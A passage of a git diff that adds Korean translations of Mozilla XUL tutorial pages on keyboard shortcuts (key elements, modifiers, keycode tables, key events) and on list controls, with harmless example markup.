+    <p><a href="/ko/docs/XUL_Tutorial:More_Event_Handlers" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Focus_and_Selection">다음  »</a></p>
+</div><p></p>
+
+<p>여러분은 키보드에 응답하는 키보드 이벤트 핸들러를 사용할 수 있습니다. 그러나 모든 버튼과 메뉴 항목에 이벤트 핸들러를 사용하는 것은 정말 번거로운 일일 것입니다.</p>
+
+<h3 id=".ED.82.A4.EB.B3.B4.EB.93.9C_.EB.8B.A8.EC.B6.95.ED.82.A4_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".ED.82.A4.EB.B3.B4.EB.93.9C_.EB.8B.A8.EC.B6.95.ED.82.A4_.EB.A7.8C.EB.93.A4.EA.B8.B0">키보드 단축키 만들기</h3>
+
+<p>XUL에서는 키보드 단축키를 정의할 수 있는 방법을 제공합니다. 우리는 <a href="ko/XUL_Tutorial/Simple_Menu_Bars">메뉴 단원</a>에서 <code>accesskey</code> 속성에 대해 알아 보았습니다. 이 속성은 메뉴나 메뉴 항목을 활성화하기 위해 사용자가 누를 수 있는 키를 명시하는데 사용됩니다. 아래 예제에서는 Alt와 F(어떤 플랫폼에서는 다른 키 조합) 키를 눌러 File 메뉴를 선택할 수 있는 것을 보여주고 있습니다. File 메뉴가 열리면 Close 메뉴 항목은 C 키를 눌러 선택할 수 있습니다.</p>
+
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_1.xul">View</a></p>
+
+<pre>&lt;menubar id="sample-menubar"&gt;
+  &lt;menu id="file-menu" label="File" accesskey="f"&gt;
+    &lt;menupopup id="file-popup"&gt;
+      &lt;menuitem id="close-command" label="Close" accesskey="c"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+&lt;/menubar&gt;
+</pre>
+
+<p>여러분은 버튼에도 <code><code id="a-accesskey"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/accesskey">accesskey</a></code></code> 속성을 사용할 수 있습니다. 버튼에 이 속성을 사용하고 키를 누르면 버튼이 선택(클릭)됩니다.</p>
+
+<p>그러나 여러분은 아마 좀 더 일반적인 방법으로 키보드 단축키를 설정하고 싶어할 것입니다. 예를 들어 클립보드로 텍스트를 복사하기 위해 Control+C를 누르는 것과 같은 것 말입니다. 이와 같은 단축키를 항상 사용할 수 있는 것은 아니지만 창이 열려있는 동안에는 대부분 동작할 것입니다. 보통 키보드 단축키는 아무때나 사용할 수 있고 스크립트를 사용해 무엇인지를 수행할지 여부를 검사할 수 있습니다. 예를 들어 텍스트가 선택되었을 때만 클립보드로 텍스트를 복사하는 것이 가능하도록 하게 검사할 수 있습니다.</p>
+
+<h4 id="key_.EC.9A.94.EC.86.8C" name="key_.EC.9A.94.EC.86.8C">key 요소</h4>
+
+<p>XUL에서는 하나의 창에서 사용할 키보드 단축키를 정의할 수 있게 해주는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> 요소를 제공합니다. 이 요소에는 누를 키와 같이 눌러야 하는 변경키(modifier key, Shift나 Control)를 명시할 수 있는 속성이 있습니다. 예제는 다음과 같습니다.</p>
+
+<pre>&lt;keyset&gt;
+  &lt;key id="sample-key" modifiers="shift" key="R"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p>위의 예제는 Shift와 R 키를 누를 때 활성화되는 단축키를 정의하고 있습니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> 속성(요소 이름과 동일합니다)은 어떤 키를 눌러야 할지를 나타내기 위해 사용되며 예제에서는 R 키입니다. 이 속성에는 눌러야하는 키에 해당하는 어떤 문자도 넣을 수 있습니다. 변경자는 항상 같이 눌러야 하는 키를 의미하며 <code><code id="a-modifiers"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/modifiers">modifiers</a></code></code> 속성으로 지정합니다. 이 속성은 공백으로 분리된 변경자 키 목록으로 입력하며, 아래의 값을 가질 수 있습니다.</p>
+
+<dl>
+ <dt>alt </dt>
+ <dd>사용자는 항상 Alt 키를 눌러야 합니다. Mac에서는 Option 키에 해당합니다.</dd>
+ <dt>control </dt>
+ <dd>사용자는 항상 Control 키를 눌러야 합니다.</dd>
+ <dt>meta </dt>
+ <dd>사용자는 항상 Meta 키를 눌러야 합니다. Mac에서는 Command 키에 해당합니다.</dd>
+ <dt>shift </dt>
+ <dd>사용자는 항상 Shift 키를 눌러야 합니다.</dd>
+ <dt>accel </dt>
+ <dd>사용자는 항상 특별한 가속키(accelerator key)를 눌러야 합니다. 여기에 사용되는 키는 사용자의 플랫폼에 따라 달라집니다. 보통 이 값을 사용하게 될 것입니다.</dd>
+</dl>
+
+<p>여러분의 키보드에서 이러한 모든 키를 제공하지 않을 것이며, 이 경우 키보드에 있는 변경키 중 하나와 연결될 것입니다.</p>
+
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> 요소는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/keyset" title="keyset">keyset</a></code></code> 요소 내부에 위치해야 합니다. 이 요소는 <code>key</code> 요소를 포함하기 위해 고안된 것으로, 파일내 한 곳에서 모든 키 정의를 묶는 용도로 사용됩니다. <code>keyset</code> 요소 밖에 있는 <code>key</code> 요소는 동작하지 않습니다.</p>
+
+<p>일반적으로 각각의 플랫폼은 단축키를 위해 서로 다른 키를 사용합니다. 예를 들어, Windows는 Control 키를 사용하며, Mac에서는 Command 키를 사용합니다. 이렇게 플랫폼별로 서로 다른 <code>key</code> 요소를 정의하는 것은 불편할 것입니다. 운 좋게 해결책이 있습니다. <code>accel</code> 변경자는 플랫폼별로 단축키로 사용되는 특수 키를 나타냅니다. 이것은 다른 변경키와 동일하게 작동하면서도 각 플랫폼별로 동일하지 않을 수 있습니다.</p>
+
+<p>여기에 몇 가지 추가 예제가 있습니다.</p>
+
+<pre>&lt;keyset&gt;
+  &lt;key id="copy-key" modifiers="control" key="C"/&gt;
+  &lt;key id="explore-key" modifiers="control alt" key="E"/&gt;
+  &lt;key id="paste-key" modifiers="accel" key="V"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<h4 id="keycode_.EC.86.8D.EC.84.B1" name="keycode_.EC.86.8D.EC.84.B1">keycode 속성</h4>
+
+<p><code><code id="a-key"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/key">key</a></code></code> 속성은 눌러야 하는 키를 지정하기 위해 사용됩니다. 그러나 문자로 나타낼 수 없는 키(Enter키나 기능키)를 지정하고 싶을 때도 있을 것입니다. <code><code id="a-key"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/key">key</a></code></code> 속성은 출력 가능한 문자에 대해서만 사용할 수 있습니다. 출력할 수 없는 문자는 <code><code id="a-keycode"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/keycode">keycode</a></code></code>라는 또 다른 속성을 이용해서 지정할 수 있습니다.</p>
+
+<p><code><code id="a-keycode"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/keycode">keycode</a></code></code> 속성에는 키를 나타내는 특별한 코드를 설정해야 합니다. 키 목록은 다음 표와 같습니다. 모든 키가 키보드 상에 있는 것은 아닙니다.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>VK_CANCEL</td>
+   <td>VK_BACK</td>
+   <td>VK_TAB</td>
+   <td>VK_CLEAR</td>
+  </tr>
+  <tr>
+   <td>VK_RETURN</td>
+   <td>VK_ENTER</td>
+   <td>VK_SHIFT</td>
+   <td>VK_CONTROL</td>
+  </tr>
+  <tr>
+   <td>VK_ALT</td>
+   <td>VK_PAUSE</td>
+   <td>VK_CAPS_LOCK</td>
+   <td>VK_ESCAPE</td>
+  </tr>
+  <tr>
+   <td>VK_SPACE</td>
+   <td>VK_PAGE_UP</td>
+   <td>VK_PAGE_DOWN</td>
+   <td>VK_END</td>
+  </tr>
+  <tr>
+   <td>VK_HOME</td>
+   <td>VK_LEFT</td>
+   <td>VK_UP</td>
+   <td>VK_RIGHT</td>
+  </tr>
+  <tr>
+   <td>VK_DOWN</td>
+   <td>VK_PRINTSCREEN</td>
+   <td>VK_INSERT</td>
+   <td>VK_DELETE</td>
+  </tr>
+  <tr>
+   <td>VK_0</td>
+   <td>VK_1</td>
+   <td>VK_2</td>
+   <td>VK_3</td>
+  </tr>
+  <tr>
+   <td>VK_4</td>
+   <td>VK_5</td>
+   <td>VK_6</td>
+   <td>VK_7</td>
+  </tr>
+  <tr>
+   <td>VK_8</td>
+   <td>VK_9</td>
+   <td>VK_SEMICOLON</td>
+   <td>VK_EQUALS</td>
+  </tr>
+  <tr>
+   <td>VK_A</td>
+   <td>VK_B</td>
+   <td>VK_C</td>
+   <td>VK_D</td>
+  </tr>
+  <tr>
+   <td>VK_E</td>
+   <td>VK_F</td>
+   <td>VK_G</td>
+   <td>VK_H</td>
+  </tr>
+  <tr>
+   <td>VK_I</td>
+   <td>VK_J</td>
+   <td>VK_K</td>
+   <td>VK_L</td>
+  </tr>
+  <tr>
+   <td>VK_M</td>
+   <td>VK_N</td>
+   <td>VK_O</td>
+   <td>VK_P</td>
+  </tr>
+  <tr>
+   <td>VK_Q</td>
+   <td>VK_R</td>
+   <td>VK_S</td>
+   <td>VK_T</td>
+  </tr>
+  <tr>
+   <td>VK_U</td>
+   <td>VK_V</td>
+   <td>VK_W</td>
+   <td>VK_X</td>
+  </tr>
+  <tr>
+   <td>VK_Y</td>
+   <td>VK_Z</td>
+   <td>VK_NUMPAD0</td>
+   <td>VK_NUMPAD1</td>
+  </tr>
+  <tr>
+   <td>VK_NUMPAD2</td>
+   <td>VK_NUMPAD3</td>
+   <td>VK_NUMPAD4</td>
+   <td>VK_NUMPAD5</td>
+  </tr>
+  <tr>
+   <td>VK_NUMPAD6</td>
+   <td>VK_NUMPAD7</td>
+   <td>VK_NUMPAD8</td>
+   <td>VK_NUMPAD9</td>
+  </tr>
+  <tr>
+   <td>VK_MULTIPLY</td>
+   <td>VK_ADD</td>
+   <td>VK_SEPARATOR</td>
+   <td>VK_SUBTRACT</td>
+  </tr>
+  <tr>
+   <td>VK_DECIMAL</td>
+   <td>VK_DIVIDE</td>
+   <td>VK_F1</td>
+   <td>VK_F2</td>
+  </tr>
+  <tr>
+   <td>VK_F3</td>
+   <td>VK_F4</td>
+   <td>VK_F5</td>
+   <td>VK_F6</td>
+  </tr>
+  <tr>
+   <td>VK_F7</td>
+   <td>VK_F8</td>
+   <td>VK_F9</td>
+   <td>VK_F10</td>
+  </tr>
+  <tr>
+   <td>VK_F11</td>
+   <td>VK_F12</td>
+   <td>VK_F13</td>
+   <td>VK_F14</td>
+  </tr>
+  <tr>
+   <td>VK_F15</td>
+   <td>VK_F16</td>
+   <td>VK_F17</td>
+   <td>VK_F18</td>
+  </tr>
+  <tr>
+   <td>VK_F19</td>
+   <td>VK_F20</td>
+   <td>VK_F21</td>
+   <td>VK_F22</td>
+  </tr>
+  <tr>
+   <td>VK_F23</td>
+   <td>VK_F24</td>
+   <td>VK_NUM_LOCK</td>
+   <td>VK_SCROLL_LOCK</td>
+  </tr>
+  <tr>
+   <td>VK_COMMA</td>
+   <td>VK_PERIOD</td>
+   <td>VK_SLASH</td>
+   <td>VK_BACK_QUOTE</td>
+  </tr>
+  <tr>
+   <td>VK_OPEN_BRACKET</td>
+   <td>VK_BACK_SLASH</td>
+   <td>VK_CLOSE_BRACKET</td>
+   <td>VK_QUOTE</td>
+  </tr>
+  <tr>
+   <td>VK_HELP</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>예를 들어, 사용자가 Alt와 F5를 눌렀을 때 활성화되는 단축키를 만드려면 다음과 같이 하세요.</p>
+
+<pre>&lt;keyset&gt;
+  &lt;key id="test-key" modifiers="alt" keycode="VK_F5"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p>아래 예제는 좀 더 많은 단축키를 보여줍니다.</p>
+
+<pre>&lt;keyset&gt;
+  &lt;key id="copy-key" modifiers="accel" key="C"/&gt;
+  &lt;key id="find-key" keycode="VK_F3"/&gt;
+  &lt;key id="switch-key" modifiers="control alt" key="1"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p>첫 번째 키는 사용자가 사용하는 플랫폼에 해당하는 단축키와 C를 눌렀을 때 호출됩니다. 두번째는 F3을 눌렀을 때 호출됩니다. 세 번째는 Control키와 Alt키 그리고 1을 눌렀을 때 호출됩니다. 만일 키보드의 메인 영역에 있는 키와 숫자 패드에 있는 키를 구분하기 위해서는 VK_NUMPAD 키(VK_NUMPAD1과 같은 것)를 사용하세요.</p>
+
+<div class="note">
+<p>응용 프로그램에서 사용할 단축키의 선택과 관련된 더 많은 정보는 <a class="external" href="http://www.mozilla.org/access/keyboard/">Mozilla Keyboard Planning FAQ and Cross Reference</a>를 참조하세요.</p>
+</div>
+
+<h3 id=".ED.82.A4.EB.B3.B4.EB.93.9C_.EB.8B.A8.EC.B6.95.ED.82.A4_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name=".ED.82.A4.EB.B3.B4.EB.93.9C_.EB.8B.A8.EC.B6.95.ED.82.A4_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">키보드 단축키 사용하기</h3>
+
+<p>어떻게 키보드 단축키를 정의하는지를 알았으니까, 이제는 사용 방법에 대해 알아보겠습니다. 두 가지 방법이 있습니다. 첫 번째는 가장 간단한 방법으로 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> 요소에서 키입력(keypress) 이벤트 핸들러를 사용하는 방법입니다. 사용자가 키를 누르면 스크립트가 호출됩니다. 예제는 다음과 같습니다.</p>
+
+<pre>&lt;keyset&gt;
+  &lt;key id="copy-key" modifiers="accel" key="C" oncommand="DoCopy();"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p><code>DoCopy</code> 함수는 사용자가 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> 요소에서 명시한 키를 눌렀을때 호출됩니다. 위 예제에서는 클립보드에 복사하는 키(Control+C)입니다. 이 단축키는 창이 열려있는 동안은 계속 동작합니다. <code>DoCopy</code> 함수는 텍스트가 선택되어 있는지 검사한 후 클립보드에 선택한 텍스트를 복사할 것입니다. 텍스트상자는 원래 클립보드와 관련된 단축키가 있으므로 구현할 필요는 없다는 것을 기억하세요.</p>
+
+<h4 id=".EB.A9.94.EB.89.B4.EC.97.90_.ED.82.A4.EB.B3.B4.EB.93.9C_.EB.8B.A8.EC.B6.95.ED.82.A4_.EC.A7.80.EC.A0.95.ED.95.98.EA.B8.B0" name=".EB.A9.94.EB.89.B4.EC.97.90_.ED.82.A4.EB.B3.B4.EB.93.9C_.EB.8B.A8.EC.B6.95.ED.82.A4_.EC.A7.80.EC.A0.95.ED.95.98.EA.B8.B0">메뉴에 키보드 단축키 지정하기</h4>
+
+<p>메뉴에 있는 명령에 대한 키보드 단축키를 지정할 경우에는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> 요소와 메뉴 명령을 직접 연결할 수 있습니다. 이를 위해서는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code> 요소에 <code><code id="a-key"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/key">key</a></code></code> 속성을 추가하면 됩니다. 이 속성에는 사용할 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> 요소의 <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code>값을 지정하면 됩니다. 예제는 다음과 같습니다.</p>
+
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_2.xul">View</a></p>
+
+<div class="float-right"><img alt="Image:keyshort1.jpg"></div>
+
+<pre>&lt;keyset&gt;
+  &lt;key id="paste-key" modifiers="accel" key="V"
+          oncommand="alert('Paste invoked')"/&gt;
+&lt;/keyset&gt;
+
+&lt;menubar id="sample-menubar"&gt;
+  &lt;menu id="edit-menu" label="Edit" accesskey="e"&gt;
+    &lt;menupopup id="edit-popup"&gt;
+      &lt;menuitem id="paste-command"
+         accesskey="p" key="paste-key"
+         label="Paste" oncommand="alert('Paste invoked')"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+&lt;/menubar&gt;
+</pre>
+
+<p>위 예제에서 메뉴 항목의 <code><code id="a-key"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/key">key</a></code></code> 속성값은 <code>paste-key</code>로 앞에서 정의된 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> 요소의 <code>id</code>와 동일한 값입니다. 여러분은 이 값을 여러개의 메뉴 항목에 대한 키보드 단축키로 여러번 사용할 수 있습니다.</p>
+
+<p>여러분은 그림에서 보듯이 Paste 메뉴 옆에 Control과 V키 텍스트가 위치하는 것을 볼 수 있으며, 이는 이 메뉴를 호출하기 위해 이 키 조합을 누르면 된다는 것을 나타냅니다. 이것은 <code>key</code> 요소에 있는 <code>modifier</code> 속성에 따라 자동으로 추가됩니다. 메뉴에 연결되는 키보드 단축키는 메뉴가 열리지 않은 상태에서도 동작합니다.</p>
+
+<p>키 정의의 또 다른 기능은 쉽게 사용 불가능한 상태로 만들 수 있다는 것입니다. 이를 위해서는 <code>key</code> 요소에 <code><code id="a-disabled"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/disabled">disabled</a></code></code> 속성을 추가하고 <code>true</code>값으로 설정하면 됩니다. 이렇게 지정하면 해당 키보드 단축키는 사용 불가능한 상태이면 따라서 키를 누르더라도 호출되지 않습니다. 스크립트를 이용해 <code>disabled</code> 속성을 변경는 것은 유용한 기능입니다.</p>
+
+<div class="highlight">
+<h4 id=".ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C" name=".ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C">파일 찾기 예제</h4>
+
+<p>파일 찾기 대화창을 위한 키보드 단축키를 추가해 보겠습니다. 4개의 단축키를 넣을 것인데, Cut, Copy, Paste 명령에 각각 하나씩과 ESC를 눌렀을 경우 사용할 Close 명령에 하나를 추가할 것입니다.</p>
+
+<pre class="eval"><span class="highlightred">&lt;keyset&gt;
+  &lt;key id="cut_cmd" modifiers="accel" key="X"/&gt;
+  &lt;key id="copy_cmd" modifiers="accel" key="C"/&gt;
+  &lt;key id="paste_cmd" modifiers="accel" key="V"/&gt;
+  &lt;key id="close_cmd" keycode="VK_ESCAPE" oncommand="window.close();"/&gt;
+&lt;/keyset&gt;</span>
+
+&lt;vbox flex="1"&gt;
+ &lt;toolbox&gt;
+  &lt;menubar id="findfiles-menubar"&gt;
+   &lt;menu id="file-menu" label="File" accesskey="f"&gt;
+     &lt;menupopup id="file-popup"&gt;
+       &lt;menuitem label="Open Search..." accesskey="o"/&gt;
+       &lt;menuitem label="Save Search..." accesskey="s"/&gt;
+       &lt;menuseparator/&gt;
+       &lt;menuitem label="Close" accesskey="c" <span class="highlightred">key="close_cmd"</span>
+         oncommand="window.close();"/&gt;
+     &lt;/menupopup&gt;
+   &lt;/menu&gt;
+   &lt;menu id="edit-menu" label="Edit" accesskey="e"&gt;
+     &lt;menupopup id="edit-popup"&gt;
+       &lt;menuitem label="Cut" accesskey="t" <span class="highlightred">key="cut_cmd"</span>/&gt;
+       &lt;menuitem label="Copy" accesskey="c" <span class="highlightred">key="copy_cmd"</span>/&gt;
+       &lt;menuitem label="Paste" accesskey="p" <span class="highlightred">key="paste_cmd"</span> disabled="true"/&gt;
+     &lt;/menupopup&gt;
+   &lt;/menu&gt;
+</pre>
+
+<p>이제 우리는 명령을 실행하기 위해 단축키를 사용할 수 있습니다. 물론 아직 클립보드와 관련된 스크립트를 작성하지 않았기 때문에 아무것도 수행되지는 않을 것입니다.</p>
+</div>
+
+<h3 id=".ED.82.A4_.EC.9D.B4.EB.B2.A4.ED.8A.B8" name=".ED.82.A4_.EC.9D.B4.EB.B2.A4.ED.8A.B8">키 이벤트</h3>
+
+<p>위에서 언급한 키와 관련된 기능이 적당하지 않은 경우에 사용할 수 있는 세 가지 키보드 이벤트가 있습니다. 이 이벤트는 다음과 같습니다.</p>
+
+<dl>
+ <dt>keypress </dt>
+ <dd>포커스를 가진 요소에 키가 눌러졌다가 때어질때 호출됩니다. 입력필드에 특정 문자만 입력 가능 하도록 하고자 할 때 사용할 수 있습니다.</dd>
+ <dt>keydown </dt>
+ <dd>포커스를 가진 요소에 키가 눌러졌을 때 호출됩니다. 이 이벤트는 키를 누른 후 때지 않더라도 발생합니다.</dd>
+ <dt>keyup </dt>
+ <dd>포커스를 가진 요소에 눌러진 키가 떨어질 때 호출됩니다.</dd>
+</dl>
+
+<p>키 이벤트는 포커스를 가진 요소로만 전달됩니다. 일반적으로 텍스트상자, 버튼, 체크박스 등이 이에 해당합니다. 포커스를 가진 요소가 아무것도 없다면 XUL 문서가 이벤트의 대상이 됩니다. 이 경우, <code><code><a href="/ko/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> 태그에 이벤트 리스너를 추가할 수 있습니다. 그렇지만 일반적으로 전역적인 키에 응답하는 경우에는 앞에서 언급한 키보드 단축키를 사용합니다.</p>
+
+<p>키의 <a href="ko/DOM/event">이벤트 객체</a>는 눌러진 키에 대한 정보를 담고 있는 두 가지 속성이 있습니다. <code><a href="ko/DOM/event.keyCode">keyCode</a></code> 속성은 키 코드를 가지고 있으며 앞 절에서 본 키 테이블에 있는 상수들 중 하나와 비교될 수 있습니다. <code><a href="ko/DOM/event.charCode">charCode</a></code> 속성은 출력 가능한 문자로 눌러진 키에 해당하는 문자 코드를 담고 있습니다.</p>
+
+<div class="highlight"><span id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"><a id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"></a><strong>지금까지의 파일 찾기 예제</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-keyshort.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-keyshort.xul">View</a></div>
+
+<p>다음 절에서는 <a href="ko/XUL_Tutorial/Focus_and_Selection">포커스와 선택을 처리</a>하는 방법에 대해 알아보겠습니다.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:More_Event_Handlers" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Focus_and_Selection">다음  »</a></p>
+</div><p></p>
+
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/list_controls/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/list_controls/index.html
new file mode 100644
index 0000000000..de4f6124da
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/list_controls/index.html
@@ -0,0 +1,133 @@
+---
+title: List Controls
+slug: Mozilla/Tech/XUL/XUL_Tutorial/List_Controls
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/List_Controls
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Input_Controls" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Progress_Meters">다음  »</a></p>
+</div><p></p>
+<p>XUL은 목록 상자를 생성하는 여러 요소의 형식을 가지고 있습니다.</p>
+<h3 id=".EB.AA.A9.EB.A1.9D_.EC.83.81.EC.9E.90" name=".EB.AA.A9.EB.A1.9D_.EC.83.81.EC.9E.90">목록 상자</h3>
+<p>목록 상자는 목록에서 여러 항목을 표시하는 데 사용됩니다. 사용자는 리스트에서 어떤 항목을 선택할 수 있습니다.</p>
+<p>XUL은 목록을 생성하기 위해 두 가지 요소 타입을 제공하는데, <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code></code> 요소는 다중 행 목록 상자를, 그리고 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code>요소는 드롭다운 목록 상자를 생성합니다. 이들은 HTML <code>select</code> 요소와 유사한 방식으로 작업을 하면서, 두 가지 기능 모두 수행하지만, XUL의 요소는 추가적인 기능을 가지고 있습니다.</p>
+<p>가장 단순한 목록 상자는 상자 자체에 대해서는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code></code>를 사용하고, <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code></code> 요소는 각 항목으로 사용합니다. 예제를 보면, 이 목록 상자는 4개의 행을 가지면서, 각 항목마다 하나씩입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_1.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:lists1.png"></div>
+<pre>&lt;listbox&gt;
+  &lt;listitem label="Butter Pecan"/&gt;
+  &lt;listitem label="Chocolate Chip"/&gt;
+  &lt;listitem label="Raspberry Ripple"/&gt;
+  &lt;listitem label="Squash Swirl"/&gt;
+&lt;/listbox&gt;
+</pre>
+<p>HTML의 <code>option</code> 요소가 가진 것과 마찬가지로, 사용자는 <code><code id="a-value"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/value">value</a></code></code> 속성을 사용해서 각 항목에 대해 값을 할당할 수 있습니다. 그리고 나서 스크립트로 해당 값을 사용할 수 있습니다. 목록 상자는 적당한 크기를 기본으로 설정하지만, <code><code id="a-rows"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/rows">rows</a></code></code> 속성으로 크기를 제어할 수 있습니다. 목록 상자에 출력될 행 수를 지정하기 위해 값을 설정하세요. <code>rows</code> 값 보다 더 많은 행이 있으면 이를 표시할 수 있는 스크롤바가 나타납니다.</p>
+<p>다음의 예제는 이러한 추가 기능을 설명합니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_2.xul">View</a></p>
+<pre>&lt;listbox rows="3"&gt;
+  &lt;listitem label="Butter Pecan" value="bpecan"/&gt;
+  &lt;listitem label="Chocolate Chip" value="chocchip"/&gt;
+  &lt;listitem label="Raspberry Ripple" value="raspripple"/&gt;
+  &lt;listitem label="Squash Swirl" value="squash"/&gt;
+&lt;/listbox&gt;
+</pre>
+<p>이 예제는 한번에 단 3개 행만을 표시하도록 변경된 것입니다. 또한 목록에 있는 각 항목에 값이 추가되었습니다. 목록 상자는 더 많은 기능을 제공하며, 다음에서 설명하고 있습니다.</p>
+<h3 id=".EB.8B.A4.EC.A4.91.EC.97.B4_.EB.AA.A9.EB.A1.9D_.EC.83.81.EC.9E.90" name=".EB.8B.A4.EC.A4.91.EC.97.B4_.EB.AA.A9.EB.A1.9D_.EC.83.81.EC.9E.90">다중열 목록 상자</h3>
+<p>목록 상자는 다중열을 지원합니다. 셀에는 보통 텍스트가 쓰이지만 어떤 컨텐츠도 포함할 수 있습니다. 사용자가 목록에서 항목을 선택하면 행 전체가 선택되며, 하나의 셀만 선택되도록 할 수는 없습니다.</p>
+<p>목록 상자에 열을 명시하기 위해서는 2개의 태그가 사용됩니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listcols" title="listcols">listcols</a></code></code> 요소는 열의 정보를 담기 위해 사용되며, 각 열에 대한 정보는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code></code>요소를 사용해 명시합니다. 목록 상자의 각 열별로 하나의 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code></code> 요소가 필요합니다.</p>
